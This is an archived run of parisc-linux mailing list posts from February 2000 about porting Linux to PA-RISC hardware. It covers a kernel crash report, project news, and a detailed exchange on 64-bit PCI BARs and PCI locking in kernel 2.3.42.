Original-Received: from mvista.com (IDENT:frowand@mossi.mvista.com [10.0.0.71])
	by hermes.mvista.com (8.9.3/8.9.3) with ESMTP id KAA24350;
	Thu, 17 Feb 2000 10:49:15 -0800
Original-Sender: frowand@hermes.mvista.com
X-Mailer: Mozilla 4.7 [en] (X11; I; Linux 2.2.12-20b i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6852

Grant Grundler wrote:
> 

< stuff deleted >

> AFAIK, the processor can only HPMC if a LOAD times out.
> What about processor STORE?

Yes, a bad store can HPMC.  The reason for this is that not being able to write
data successfully means that you have possible data corruption (for
example, data that you had expected to be in persistent storage is not there).

< stuff deleted >

> grant
> 
> Grant Grundler

-Frank
-- 
MontaVista Software, Inc
frank_rowand@mvista.com


From - Thu Nov 08 21:11:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Astro / Elroy documentation
Date: Thu, 17 Feb 2000 17:20:15 -0500
Lines: 10
Approved: news@gmane.org
Message-ID: <20000217172015.L9944@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618778 30508 80.91.229.3 (22 Nov 2014 01:12:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:58 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Thu Feb 17 16:19:37 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA32470
	for <parisc-linux@puffin.external.hp.com>; Thu, 17 Feb 2000 16:19:36 -0700
Original-Received: (qmail 6823 invoked by uid 15267); 17 Feb 2000 22:20:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6800 invoked from network); 17 Feb 2000 22:20:16 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 17 Feb 2000 22:20:16 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id RAA25188
	for parisc-linux@thepuffingroup.com; Thu, 17 Feb 2000 17:20:15 -0500
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:6853


Thanks to many people at Hewlett Packard, we now have
documentation on the Astro and Elroy devices found in some of
the newer PA-RISC machines, such as the C3000 and J5000.  These
documents have been converted to PostScript and are linked from
http://www.thepuffingroup.com/parisc/documentation.html

-- 
Matthew Wilcox <willy@linuxcare.com> Lead Developer, Linux/PA-RISC


From - Thu Nov 08 21:11:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hannu Martikka <martikka@stybba.ntc.nokia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 715/80 - Unexpected Interruption...
Date: Fri, 18 Feb 2000 13:25:46 +0200 (EET)
Lines: 43
Approved: news@gmane.org
Message-ID: <Pine.HPX.4.21.0002181315470.29573-100000@gamgee.ntc.nokia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1416618778 30513 80.91.229.3 (22 Nov 2014 01:12:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:58 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: martikka@stybba.ntc.nokia.com  Fri Feb 18 05:25:16 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA04651
	for <parisc-linux@puffin.external.hp.com>; Fri, 18 Feb 2000 05:25:16 -0700
Original-Received: (qmail 5876 invoked by uid 15267); 18 Feb 2000 11:25:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5855 invoked from network); 18 Feb 2000 11:25:52 -0000
Original-Received: from mgw-x1.nokia.com (131.228.20.21)
  by mailserv2.iuinc.com with SMTP; 18 Feb 2000 11:25:52 -0000
Original-Received: from mgw-i2.ntc.nokia.com (mgw-i2.ntc.nokia.com [131.228.118.61])
	by mgw-x1.nokia.com (8.9.3/8.9.3/o) with ESMTP id NAA13466
	for <parisc-linux@thepuffingroup.com>; Fri, 18 Feb 2000 13:25:48 +0200 (EET)
Original-Received: from stybba.ntc.nokia.com (stybba.ntc.nokia.com [131.228.178.21])
	by mgw-i2.ntc.nokia.com (8.9.3/8.9.3) with ESMTP id NAA05999
	for <parisc-linux@thepuffingroup.com>; Fri, 18 Feb 2000 13:25:47 +0200 (EET)
Original-Received: from gamgee.ntc.nokia.com (martikka@gamgee [131.228.178.130])
	by stybba.ntc.nokia.com (8.9.1a/8.9.1/Goodi) with ESMTP id NAA05797
	for <parisc-linux@thepuffingroup.com>; Fri, 18 Feb 2000 13:25:47 +0200 (EET)
Xref: news.gmane.org gmane.linux.ports.parisc:6854

Hei,

I get following on 715/80 with ramdisk.bin-20000129 and latest from CVS
(linux-2.3):

Model: Mirage 80  with 256 MB RAM (Using 128 MB).
CPU(s): 1 x PA7100LC at 80.000000 MHz
...
11. Unknown device (11) at 0xf0200000, versions 0x10, 0x0, 0x8e, 0x0, 0x0

This is probably EISA addon card that I have on this host (X25-card).

...

RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
eth0: 82596 at 0xf0107000, 08 00 09 4A C5 FC IRQ 535.
lasi_82596.c:v1.2 02/13/2000
eth0: lp at 0xc7f8b000 (1716 bytes), lp->scb at 0xc7f8b014
RAMDISK: ext2 filesystem found at block 0
RAMDISK: Loading 850 blocks [1 disk] into ram disk... Unexpected
Interruption! Code=15 regs=c7fe8b80
 IASQ: 00000000 00000000 IAOQ: c0141f1c c0141f20
isr 00000000 ior 00000000

PSW  : 0004ff0a  GR 1 : c7fe8a88  GR 2 : c0164e94  GR 3 : c7fe8b40  
GR 4 : c7fe8a80  GR 5 : c7eb8ec0  GR 6 : 0000000a  GR 7 : 00000400  
GR 8 : c02e7678  GR 9 : 00000319  GR10 : 00000100  GR11 : 00000400  
GR12 : 00000000  GR13 : 00000000  GR14 : 00000000  GR15 : 00000000  
GR16 : 00001000  GR17 : 00000400  GR18 : 00000000  GR19 : c7fe8a90  
GR20 : c02e586c  GR21 : c02e586c  GR22 : 0000000b  GR23 : 00000000  
GR24 : 0000000b  GR25 : c7fe8a98  GR26 : 00000000  GR27 : c01f9000  
GR28 : c02e5800  GR29 : 00000001  GR30 : c7fe8cc0  GR31 : 00000000  
SR0  : 00000000  SR1  : 00000000  SR2  : 00000000  SR3  : 00000000  
SR4  : 00000000  SR5  : 00000000  SR6  : 00000000  SR7  : 00000000  
IAOQ : c0141f1c c0141f20
IIR  : 0ee01280

Any ideas?

- Goodi
"The linuX Files -- The Source is Out There."
,,`,,`,,`,,``,,


From - Thu Nov 08 21:11:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@endor.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Possible Networking Outage
Date: Fri, 18 Feb 2000 12:02:38 -0700
Lines: 6
Approved: news@gmane.org
Message-ID: <E12Lsfm-0004mG-00@endor.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618779 30515 80.91.229.3 (22 Nov 2014 01:12:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:59 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bame@endor.fc.hp.com  Fri Feb 18 13:01:58 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA07833
	for <parisc-linux@puffin.external.hp.com>; Fri, 18 Feb 2000 13:01:57 -0700
Original-Received: (qmail 19355 invoked by uid 15267); 18 Feb 2000 19:02:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19345 invoked from network); 18 Feb 2000 19:02:39 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 18 Feb 2000 19:02:39 -0000
Original-Received: from endor.fc.hp.com (endor.fc.hp.com [15.1.49.59])
	by atlrel1.hp.com (Postfix) with ESMTP id F232D15683
	for <parisc-linux@thepuffingroup.com>; Fri, 18 Feb 2000 14:02:38 -0500 (EST)
Original-Received: from localhost (endor.fc.hp.com) [127.0.0.1] (bame)
	by endor.fc.hp.com with esmtp (Exim 2.05 #1 (Debian))
	id 12Lsfm-0004mG-00; Fri, 18 Feb 2000 12:02:38 -0700
Xref: news.gmane.org gmane.linux.ports.parisc:6855


puffin.external.hp.com may be unreachable for 2 hours starting
at 9PM US Mountain Time due to network maintenance at HP.

	-Paul Bame


From - Thu Nov 08 21:11:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Ang <mang@subcarrier.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] working kernel image w/sash for A180
Date: Fri, 18 Feb 2000 20:38:27 -0500
Organization: MCP
Lines: 18
Approved: news@gmane.org
Message-ID: <38ADF413.DD81515D@subcarrier.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618779 30517 80.91.229.3 (22 Nov 2014 01:12:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:59 +0000 (UTC)
To: parisc-linux <parisc-linux@thepuffingroup.com>
Original-X-From: mang@subcarrier.org  Fri Feb 18 19:38:14 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA10668
	for <parisc-linux@puffin.external.hp.com>; Fri, 18 Feb 2000 19:38:13 -0700
Original-Received: (qmail 12204 invoked by uid 15267); 19 Feb 2000 01:38:55 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12196 invoked from network); 19 Feb 2000 01:38:54 -0000
Original-Received: from relay1.pair.com (209.68.1.20)
  by mailserv2.iuinc.com with SMTP; 19 Feb 2000 01:38:54 -0000
Original-Received: (qmail 21805 invoked from network); 19 Feb 2000 01:37:18 -0000
Original-Received: from unknown (HELO subcarrier.org) (216.208.98.2)
  by relay1.pair.com with SMTP; 19 Feb 2000 01:37:18 -0000
X-pair-Authenticated: 216.208.98.2
Original-Sender: mang@mailserv2.iuinc.com
X-Mailer: Mozilla 4.7 [en] (X11; I; Linux 2.2.12 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6856

I just put up a new kernel image with sash at
ftp://puffin.external.hp.com/pub/parisc/binaries/kernels/Image-20000218

It's tested on the A180.  Here are the last few lines of output (over
serial console) leading up to the shell prompt:

(end_data) 4000a000
(start_stack) 2001fff8
(brk) 40017000
do_mmap 00000000 00000000 00000028 00000007 00000012 00000000
Stand-alone shell (version 3.4)
500 5 1970 53b
> foo 1073767600, 200205e0

You can type "help" to get a list of commands.

	- Mike.


From - Thu Nov 08 21:11:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Weekly News [2000/02/18]
Date: Fri, 18 Feb 2000 21:26:19 -0500
Lines: 66
Approved: news@gmane.org
Message-ID: <20000218212619.W9944@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618779 30521 80.91.229.3 (22 Nov 2014 01:12:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:59 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Fri Feb 18 20:25:38 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA11181
	for <parisc-linux@puffin.external.hp.com>; Fri, 18 Feb 2000 20:25:38 -0700
Original-Received: (qmail 377 invoked by uid 15267); 19 Feb 2000 02:26:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 369 invoked from network); 19 Feb 2000 02:26:20 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 19 Feb 2000 02:26:20 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id VAA01527
	for parisc-linux@thepuffingroup.com; Fri, 18 Feb 2000 21:26:19 -0500
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:6857


PA-RISC/Linux Weekly News - 18th February 2000
	vol 2, issue 5

This Week

 * News & Announcements
 * This Week's CVS Activity
 * State of the Port Summary

News & Announcements

 * Astro and Elroy docs released
     Thanks to many people at Hewlett Packard, we now have
     documentation on the Astro and Elroy devices found in some of
     the newer PA-RISC machines, such as the C3000 and J5000. These
     documents have been converted to PostScript and are linked from
     http://www.thepuffingroup.com/parisc/documentation.html

 * NFS working
     Martin Petersen posted an NFS-Root howto on the list. If you use
     NFS root, then you don't need to use an initial ramdisk. This
     exercises quite a lot of the kernel, including the TCP/IP layer
     and the ethernet driver.

This Week's CVS Activity

 * The ELF toolchain has received some updates this week. Sammy
   contributed initial support for Linux/PARISC ELF32. Matthew contributed
   some build fixes for HP/UX and David H-D contributed Debian and Red
   Hat build support for x86.

 * John continued his low-level memory-management work by enabling the
   trapping of accidental user pointer dereferences.

 * Grant committed a bug-fix for card-mode DINOs.

State of the Port Summary

 * Kernel
     based on 2.3.42

 * Supported Hardware
    * SCSI, Lan and PS/2 on Lasi I/O controller
    * Dino PCI controller
    * Elroy PCI controller
    * Tulip ethernet
    * PCNet32 ethernet

 * Project Page
     http://www.thepuffingroup.com/parisc/

 * Latest Workable Image
     ftp://puffin.external.hp.com/pub/parisc/binaries/kernels/Image-20000218

 * Running PA-RISC/Linux "recipe"
     http://thepuffingroup.com/parisc/recipe.html

The observant will also notice there have been a few updates to the
website over the past couple of days.  I've fixed some dangling links
and typos.  I've also added some previously missing weekly updates to
the site.

-- 
Matthew Wilcox <willy@linuxcare.com> Lead Developer, Linux/PARISC


From - Thu Nov 08 21:11:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhuggins@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Weekly News [2000/02/18]
Date: 18 Feb 2000 21:43:37 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <ltaekxnc86.fsf@doppelbock.thepuffingroup.com>
References: <20000218212619.W9944@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618780 30524 80.91.229.3 (22 Nov 2014 01:13:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:00 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dhuggins@linuxcare.com  Fri Feb 18 20:42:58 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA11399
	for <parisc-linux@puffin.external.hp.com>; Fri, 18 Feb 2000 20:42:57 -0700
Original-Received: (qmail 7184 invoked by uid 15267); 19 Feb 2000 02:43:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7174 invoked from network); 19 Feb 2000 02:43:39 -0000
Original-Received: from unknown (HELO doppelbock.thepuffingroup.com) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 19 Feb 2000 02:43:39 -0000
Original-Received: (from dhd@localhost)
	by doppelbock.thepuffingroup.com (8.9.3/8.9.3) id VAA00697;
	Fri, 18 Feb 2000 21:43:37 -0500
X-Authentication-Warning: doppelbock.thepuffingroup.com: dhd set sender to dhuggins@linuxcare.com using -f
Original-Sender: dhd@doppelbock.thepuffingroup.com
In-Reply-To: willy@thepuffingroup.com's message of "Fri, 18 Feb 2000 21:26:19 -0500"
Original-Lines: 27
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.5
Xref: news.gmane.org gmane.linux.ports.parisc:6858

willy@thepuffingroup.com writes:

>  * The ELF toolchain has received some updates this week. Sammy
>    contributed initial support for Linux/PARISC ELF32. Matthew contributed
>    some build fixes for HP/UX and David H-D contributed Debian and Red
>    Hat build support for x86.

And Alpha - actually someone needs to build an i386 binary package for
Debian.  Note that the Debian build support is in CVS, so you can just
run 'debian/rules build && fakeroot debian/rules binary-arch' from
within a checked-out tree to get a binary package for your
architecture.

Sammy or some other toolchain hacker: can you look at the diff from
the SRPM?  I haven't checked it into CVS because it's a really bad
kludge, but it's needed to compile on Alpha.

As far as I can tell, BFD64 gets defined if either the target *or* the
host is 64-bit.  The assembler and linker code then expects that it is
being built for a 64-bit target, but the build system (rightly) obeys
the arch specification string and only builds elf32 targets in BFD.

-- 
David Huggins-Daines, Senior Linux Consultant, Linuxcare, Inc.
613.562.1239 tel
dhuggins@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:11:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 64-bit BARs in 2.3.42 and more
Date: Mon, 21 Feb 2000 10:01:27 -0800
Lines: 287
Approved: news@gmane.org
Message-ID: <200002211801.KAA13098@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618780 30527 80.91.229.3 (22 Nov 2014 01:13:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:00 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Mon Feb 21 11:59:30 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA29442
	for <parisc-linux@puffin.external.hp.com>; Mon, 21 Feb 2000 11:59:30 -0700
Original-Received: (qmail 22975 invoked by uid 15267); 21 Feb 2000 18:00:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22962 invoked from network); 21 Feb 2000 18:00:13 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 21 Feb 2000 18:00:13 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by atlrel2.hp.com (Postfix) with ESMTP id A11D2493
	for <parisc-linux@thepuffingroup.com>; Mon, 21 Feb 2000 13:00:19 -0500 (EST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id KAA13098 for <parisc-linux@thepuffingroup.com>; Mon, 21 Feb 2000 10:01:27 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
Xref: news.gmane.org gmane.linux.ports.parisc:6859


Hi all,
Appended is a reformatted version of an e-mail exchange with Martin Mares,
the "generic" PCI code owner for linux.  I'm posting this so it (a) gets
archived and (b) more folks are aware of the issues for L-class.

I've split the exchanges into the four topics I started with.
A "fifth" item (SERR/PERR support) came up later.

enjoy!
grant


gg1: Date: Mon, 7 Feb 2000 16:38:58 -0800 (PST)
gg1: Subject: 64-bit BARs in 2.3.42 and more
gg1:
gg1:
gg1: Martin,
gg1: Mathew Wilcox (willy@thepuffingroup.com) encouraged me to write to
gg1: you about the linux-2.3.42 PCI support.  I have some comments/questions
gg1: about the following issues for the PA-Risc port:
gg1: 
gg1: 1) Bugs in NCR/Symbios/Emulex 896 SCSI chip (has 64-bit BARs)
gg1: 2) Differentiating 32-bit from 64-bit BARs in the resource list.
gg1: 3) removing "static" from pci_lock declaration
gg1:    (or better: move the locking into PCI bus adapter code)
gg1: 4) warning about sizing BARs
gg1: 
gg1: 
gg1: FWIW, I worked on HP-UX PCI subsystem for about two years and
gg1: rearchitected the it to support N-class (8-way SMP, 12 4X-PCI slots).
gg1: As a result, I know the HP PCI bus adapters (GSCtoPCI, LBA, EPIC)
gg1: fairly well.  I'm currently helping the puffin group (Alex "puffin"
gg1: Devries, Chris "nym" Beard, Mathew "willy" Wilcox, et al) port
gg1: linux to PA-Risc platforms.
gg1: 
gg1: (Current status is at http://www.thepuffingroup.com/parisc/)

mm1: Date: Tue, 8 Feb 2000 11:15:09 +0100
mm1:
mm1: Hello Grant,
mm1: 
mm1:   Thanks a lot for your comments!

gg2: Date: Tue, 08 Feb 2000 18:51:37 -0800
gg2:
gg2: Martin,
gg2: Welcome!
gg2: and thanks for the quick reply.

mm2: Date: Wed, 9 Feb 2000 12:15:36 +0100
mm2:
mm2: Hello!

============================================================================
gg1: 1) Bugs in NCR/Symbios/Emulex 896 SCSI chip (has 64-bit BARs)
gg1: 
gg1: The 896 SCSI chip has 64-bit BARs. HP's "BIOS" (aka PDC) for N-class
gg1: attempted to program an address into those BARs and it didn't work.
gg1: It turned out HP's "lba" bus adapter behaved slightly different (but
gg1: still with-in PCI spec) than Symbios's PCI emulator/test board. Symbios
gg1: agreed it was a bug in their chip and would roll the chip. But the
gg1: OS has to make sure those devices get assigned a 32-Bit MMIO
gg1: address for 896's shipped in the first systems.
gg1: 
gg1: (FWIW, at the time Symbios didn't have any PC customers which actually
gg1: used a 64-bit MMIO address in their platforms - HP was the first).
gg1: 
gg1: I'd like to discourage putting a kluge in generic pci services to
gg1: accommodate a buggy chip (happened to HP-UX despite my objections).
gg1: I'm thinking the Symbios driver support will need a method (ie interface)
gg1: to deallocate a 64-bit MMIO resource, allocate a 32-bit MMIO resource,
gg1: and reprogram it's BAR.  And I didn't see anything for the first two
gg1: steps which leads me to #2.

mm1:    Unfortunately, during driver startup it's too late to change anything
mm1: - all buses have already been assigned their address ranges and the bridges
mm1: have been programmed accordingly. Also, fixes for devices with buggy
mm1: address decoding (I'm not sure this is the case, but I assume so) should
mm1: be worked around even if their driver is not loaded, so that they don't
mm1: collide with addresses of other devices.

gg2: Ok. PCI Online addition *behind* a bridge can run into the same problem.
gg2: HP-UX has the same weakness. It makes no attempt to reprogram bridges
gg2: either.
gg2: 
gg2: But behind a PCI-PCI bridge, only *one* MMIO range can be assigned. And for
gg2: the 21152 (iirc) that will be a 32-bit MMIO address since that's all the
gg2: bridge can forward. Only *prefetchable* MMIO addresses are 64-bit on the
gg2: DEC bridge which is not suitable for device registers on the Symbios 896.

mm2: You're right, but I would still prefer to do all the broken address
mm2: decode fixups the same way.

mm1:    This leads me to a conclusion that we should really handle it in the
mm1: global PCI fixup (drivers/pci/quirks.c) in similar way to the S3 fixup
mm1: we already do there (i.e., just reset the problematic resources and let
mm1: the architecture specific code assign the right address; here we also
mm1: need to touch the 64-bit flag -- see below).

gg2: Ok. That makes sense. I'll be working on this in the next couple of weeks.
gg2: (pa-risc tree is going through 2.3.42 merge turmoil).


=============================================================================
gg1: 2) Differentiating 32-bit from 64-bit BARs in the resource list.
gg1: 
gg1: pci_resource_flags() only returns one type of MMIO MEM resource:
gg1:   IORESOURCE_MEM.
gg1: This makes it difficult to differentiate between resources which represent
gg1: 64-bit MMIO BARs and resources which represent 32-bit MMIO BARs.
gg1: The code could read the BAR again in order to examine it's flags
gg1: directly but I find that a bit klugey.
gg1: Any interest in adding another flag? IORESOURCE_64BIT?

mm1:   For PCI resources, the lowest 4 bits of resource flags contain the
mm1: usual PCI resource type, so you'll find the 64-bit flag there.

gg2: ok. Sorry I missed that and it's what I was looking for.


=============================================================================
gg1: 3) Removing "static" from pci_lock declaration
gg1: 
gg1: HP PA-Risc boxes typically have more than one PCI bus adapter.
gg1: They could have as many as 12 (eg N-class) and they can be added
gg1: as expansion cards to older machines (ie "card-mode" Dino).
gg1: 
gg1: My impression is the pci_lock serves to avoid collisions between
gg1: processors wishing to access PCI configuration space. Well, Dino
gg1: and LBA have to make multiple register accesses in order to generate
gg1: one configuration cycle. Thus, pci_lock makes the accesses "atomic"
gg1: by serializing access to configuration space.
gg1: 
gg1: The problem is Dino needs to use one of the same registers when
gg1: generating I/O Port space accesses as well.  (Yes - performance sucks
gg1: in this path - HP-UX uses MMIO almost exclusively). And under
gg1: LBA, the outb/d/l path needs to include a read to force the
gg1: write down to PCI bus. In short, pci_lock would work nicely
gg1: to provide syncronization for configuration space *and* I/O port
gg1: space.
gg1: 
gg1: Could the "static" keyword be removed from pci_lock declaration?
gg1: 
gg1: PA-Risc boxes would get a performance benefit if this is taken
gg1: a step further: move PCI syncronization out of generic PCI code
gg1: and into PCI bus adapter code.  Each PA-RISC PCI bus adapter is
gg1: different PCI segment. (Well, except under LBA...but that's
gg1: another story).  Each bus adapter could use it's own spinlock to allow
gg1: independent access to it's PCI segment. PC's could continue to use
gg1: a global pci_lock in their code.
gg1: 
gg1: Could the "pci_lock" syncronization be pushed down to pcibios_xxx
gg1: and pci_read/write_xxx() level?

mm1: When I was designing these functions, I was thinking a lot about what
mm1: the right granularity of locking is and I decided that the configuration
mm1: accesses are not performance critical at all, so it's better to strive
mm1: for simplicity of their locking, not speed. This has lead to a single
mm1: global lock guarding all PCI configuration space operations, not
mm1: depending on whether they really can collide or not.

gg2: Agreed. Only time this might become an issue is on *very* large systems.
gg2: Being able to scan PCI busses in parallel would speed up boot time.
gg2: I'm talking about systems with 100+ PCI slots and dozens of busses.

mm2:  Historically, Linux did scan the whole 64K PCI device ID space by brute
mm2: force and it took a fraction of a second, so it probably doesn't matter.

mm1:    About using the pci_lock for other purposes: I'd rather like to avoid
mm1: overloading the pci_lock with other functions. I/O port accesses should use
mm1: their own lock, even if it makes the pci_lock in fact useless.

gg2: Ok. I'll avoid using pci_lock for platform specific code then.
gg2: 
gg2: I had poked Alan Cox earlier about this and I'm glad I ask you.
gg2: His reply was:
gg2: | >   Alan, could you comment on why drivers/pci/pci.c:pci_lock is static?
gg2: | >   (ie Could the static qualifier be removed in linux-2.3?)
gg2: | 
gg2: | because nobody else needs it (well until you did)
gg2: 
gg2: Several people who saw this reply understood he meant to make pci_lock
gg2: a regular global.


gg1: Along the same line, iomem_resource and ioport_resource should really
gg1: be declared for each PCI bus segment. For PA-Risc, I think it would be
gg1: easiest to fold the MMIO and I/O port resource management into the
gg1: struct pci_bus *pci_root tree. Perhaps they could be parameters
gg1: to pci_scan_bus() like "sysdata".

mm1: Actually, it's already here :-)

gg2: /me rolls his eyes. :^)

mm1: The iomem and ioport resources control global assignment of port and
mm1: memory addresses, but it's perfectly OK to define a set of local
mm1: resources (allocated from the global pool, of course) for a particular
mm1: PCI bus (by making pci_bus->resource[] point to them), the PCI layer
mm1: will use them instead (see pci_find_parent_resource()).

gg2: Ok. Thanks for the clarification. I have to do that for the next parisc
gg2: platform (L-class) I have to write code for. I expect to have code
gg2: published some time in March for that.

mm2: If you want any help, feel free to ask me.


=============================================================================
gg1: 4) warning about pci_read_bases()
gg1: 
gg1: I'm not sure this is a problem for Linux. Just something to avoid.
gg1: The calling tree to get to pci_read_bases() looks like:
gg1: ...
gg1:	pci_scan_bus()
gg1:		pci_do_scan_bus()
gg1:			pci_scan_slot()
gg1:				pci_scan_device()
gg1:					pci_setup_device()
gg1:						pci_read_bases()
gg1:
gg1: I didn't see any tests to make sure pci_scan_bus() wasn't called for
gg1: a given bus already. I did look for other paths and didn't find any.
gg1: (Could be hidden in a macro).
gg1: 
gg1: The problem I'm trying to avoid is pci_read_bases() will temporarily
gg1: disable the device from responding to MMIO or I/O Port accesses.
gg1: There is no mechanism to prevent another processor from attempting
gg1: to access the device (through MMIO at least) and causing the system
gg1: to crash.

mm1:   This should never happen -- we scan the buses only during system boot
mm1:and during insertion of new devices and in both cases no drivers can be
mm1:running for devices on the bus being scanned.

gg2: ok. That's what I suspected but didn't know (and couldn't verify).


gg1: For PCI "On-Line Addition", is only the "slot" rescanned? 
gg1: 
gg1: FWIW, HP-UX platforms allow the _bus_ to be rescanned and was designed
gg1: to support a "smart" expansion chassis which had one bus with
gg1: per-slot power control. The method there was to power-on a new slot
gg1: and then re-scan the entire bus.

